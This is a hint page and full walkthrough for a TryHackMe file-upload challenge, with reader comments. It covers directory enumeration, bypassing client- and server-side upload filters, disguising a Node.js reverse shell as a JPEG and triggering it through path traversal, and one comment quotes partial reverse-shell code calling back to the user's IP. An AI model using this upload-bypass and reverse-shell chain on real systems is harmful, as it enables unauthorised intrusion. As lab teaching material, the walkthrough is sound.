File Upload Vulnerabilities — Hints

File Upload Vulnerabilities — Hints

TryHackMe Walkthrough Link:

This post contains a series of hints for the final challenge (Jewel) in the File Upload Vulnerabilities room on TryHackMe. With the information here it should be possible to completely walk through the final challenge — however, please take the time to try it for yourself, and use the hints one at a time as and when you get stuck.

Hint One:

Enumerate, enumerate, enumerate. Have you tried Gobusting the site?

Hint Two:

Use the standard /usr/share/wordlists/dirbuster-directory-list-2.3-medium.txt wordlist on the site to begin with. Whilst that runs, look at the source code of the homepage and see if you can find any static files being included…

Hint Three:

You will have noticed that the file upload only accepts JPEG files, and that the background images are stored in /content. Try uploading a legitimate JPEG image (bearing in mind the size filter!), then use the custom wordlist in the room to find your image.

Hint Four:

The Gobuster -x switch will come in handy. Remember that you’re looking for a .jpg file

Hint Five:

Having located your file with gobuster dir -u http://jewel.uploadvulns.thm -w ./UploadVulnsWordlist.txt -x jpg, read through the Javascript client side filters — what are they looking for? Use the techniques taught in task seven to bypass these filters. NB: Do not try a magic number bypass directly. If you receive a HTTP 304 Response code when attempting to intercept the JavaScript file, research what this particular code means, and how to prevent it from occurring.

Hint Six:

As you may have guessed, there is also a server side filter in place. Try using the techniques from task ten for enumerating server side filters.

Hint Seven:

The server side filter is checking for MIME types, contrasting the magic number and file extension checker on the client side.

Hint Eight:

Lemme guess — you’ve uploaded a shell and looked for it in /contents, but it’s just showing as text and not activating? Take another look at your Wappalyzer output, or read the X-Powered-By header by intercepting a Burpsuite response.

Hint Nine:

The server is running on Node.js. Take a look at the /admin page.

Hint Ten:

The admin page is telling you that it will execute modules in the /modules directory — but your file is in /content. Seeing that these are both top-level directories under the web-root, how would you go between them?

Hint Eleven:

Use ../content/<name-of-your-shell>.jpg to activate your reverse shell. Bear in mind that you’ll need to find the name of the shell first if you haven’t already.


Start by using gobuster on Jewel using the /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt wordlist (gobuster dir -u http://jewel.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt). You’ll see that there is a page called /admin, and a directory called /content. Files you upload will end up in /content with a random three letter filename. Go to the homepage and use Burpsuite to remove the Client-Side Filter as demonstrated in task seven. The webserver is using Node.js (as the X-Powered-By header will show you). Download a Node.js reverse shell from here, and fill it in with your own IP and chosen port. Call the shell “file.jpg” to get around the MIME filter on the server (or edit the MIME type with burpsuite after uploading). Next use gobuster with the wordlist in the room to fuzz for your upload: gobuster dir -u http://jewel.uploadvulns.thm/content -w <path-to-wordlist> -x jpg — notice the -x jpg switch adding the .jpg file extension to each request. Have a look at each of those files in your web browser — one of them will be your shell. Remember the name of this file, and start a netcat listener on your own machine using your chosen port number; then go to the admin page and type in ../content/<name-of-file> — so, for example, it might be ../content/ABC.jpg. You should receive a reverse shell

You should hopefully now have completed Jewel. If you’re still struggling, please feel free to ask for help in the TryHackMe Discord.

The following video walkthrough is also available:

Video Walkthrough for the Upload Vulnerabilities Room

22 thoughts on “File Upload Vulnerabilities — Hints

    1. Hi,
      When you refresh, press Ctrl + F5 to force a full refresh of the page, without relying on any cached information.
      That should fix it 🙂

  1. Hi, I am in task 8 and not able to bypass the server-side filter I tried things like shell.jpg.PHP and shell.jpg.PhP, after these extensions, I am able to upload the files but during execution in /privacy directory instead of executing it, it is showing me an error. Help me in this.

    1. That would be because the server doesn’t recognise PhP or PHP as valid extensions for a PHP file. Wikipedia will give you a list of valid extensions, but you can’t just make them up and expect them to work. Try doing it with the techniques taught in the room.

  2. This one drives me crazy. I upload a revshell.jpg successfully, but no reverse shell connects back…
    var net = require(“net”),
    cp = require(“child_process”),
    sh = cp.spawn(“/bin/sh”, []);
    var client = new net.Socket();
    client.connect(443, “my_tun0_IP_here”, function(){
    return /a/; // Prevents the Node.js application form crashing

      1. I believe my biggest issue was that I was manually changing the magic number…which in turn was preventing the shell from running. At least, that’s my theory. I’ve since gotten it to work by bypassing the filters another way.

  3. I was also strugling with bypasing the JS on front-end, but that Ctrl+F5 helped.
    I did not removed whole script, as I think it broked the upload function, I just adjust it 😛
    even then I could not get the shell, later i figured out that is needed correct netcat command.
    as now we are not using only IP in browser but domain name.
    Amazing room.

  4. When I am stepping through with Burp it never dives into the uploads.js for me to remove the checks. Any ideas why?

    1. That’s usually either because the .js file is still cached (so reload the page with a hard refresh — e.g. Ctrl + F5), or because Burp isn’t configured to intercept .js files. Check the Intercept options to ensure that it is definitely intercepting JavaScript, then try it with a hard refresh. 🙂

  5. Hey thanks for your help, Im a bit confused because aft completing the exercises in the room It never accused to me that it would work to execute a shell with .jpg, I always thought it would need to have .php or a similar version of php.

    Now that we uploaded and executed a shell with .jpg im a bit confused, it would be great if you could give me some clarity.

    1. It depends on the language and framework. Apache using a PHP backend (one of the most common — and oldest — solutions) will indeed only execute files with extensions that it is configured to treat as executable PHP scripts. In contrast, NodeJS doesn’t care what the extension is as long as the content of the file is correct JavaScript, but will not allow you to execute files simply by navigating to them (hence the traversal inclusion on the admin page).

  6. seems to be broken? i’m trying to run the shell although it prompts me with that module does not exist. my guess is maybe there was an update in nginx or node or whatever and doesn’t allow file traversal anymore?

    1. There has not been an update.
      This usually happens when node fails to execute the module — either because it doesn’t exist, or because it contains errors. As mentioned in the room, changing magic bytes does not work for every framework — that’s the most common mistake people seem to make here, closely followed by accidentally copying the shell wrong, or otherwise breaking it during editing.

      1. Yes, but when the upload is successful and I have found the file name after enumeration again, no matter what I do it always says module doesn’t exist.
        You have to change the magic number because of the filter. Uploading the file is not the issue, confirming the file is uploaded is not the issue, just getting it to execute/be recognized

        1. Which side of the connection is the magic number filter on?
          You can’t change the magic number because Node (unlike PHP) will not execute a file with the wrong magic number, so you need to find another way to bypass that filter. Fortunately client side filters have an easy bypass…

  7. I can’t see a tip because everything is blurred. What happened?

    Thank you!

    I am on this webpage because I work in the Upload Vulnerability Modul, but when I am not allowed to read, it doesn’t help me.

    1. Hi,

      Did you try clicking on the blurred text?
      That’s a spoiler protection — they should unblur when you interact with them 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *

Enter Captcha Here : *

Reload Image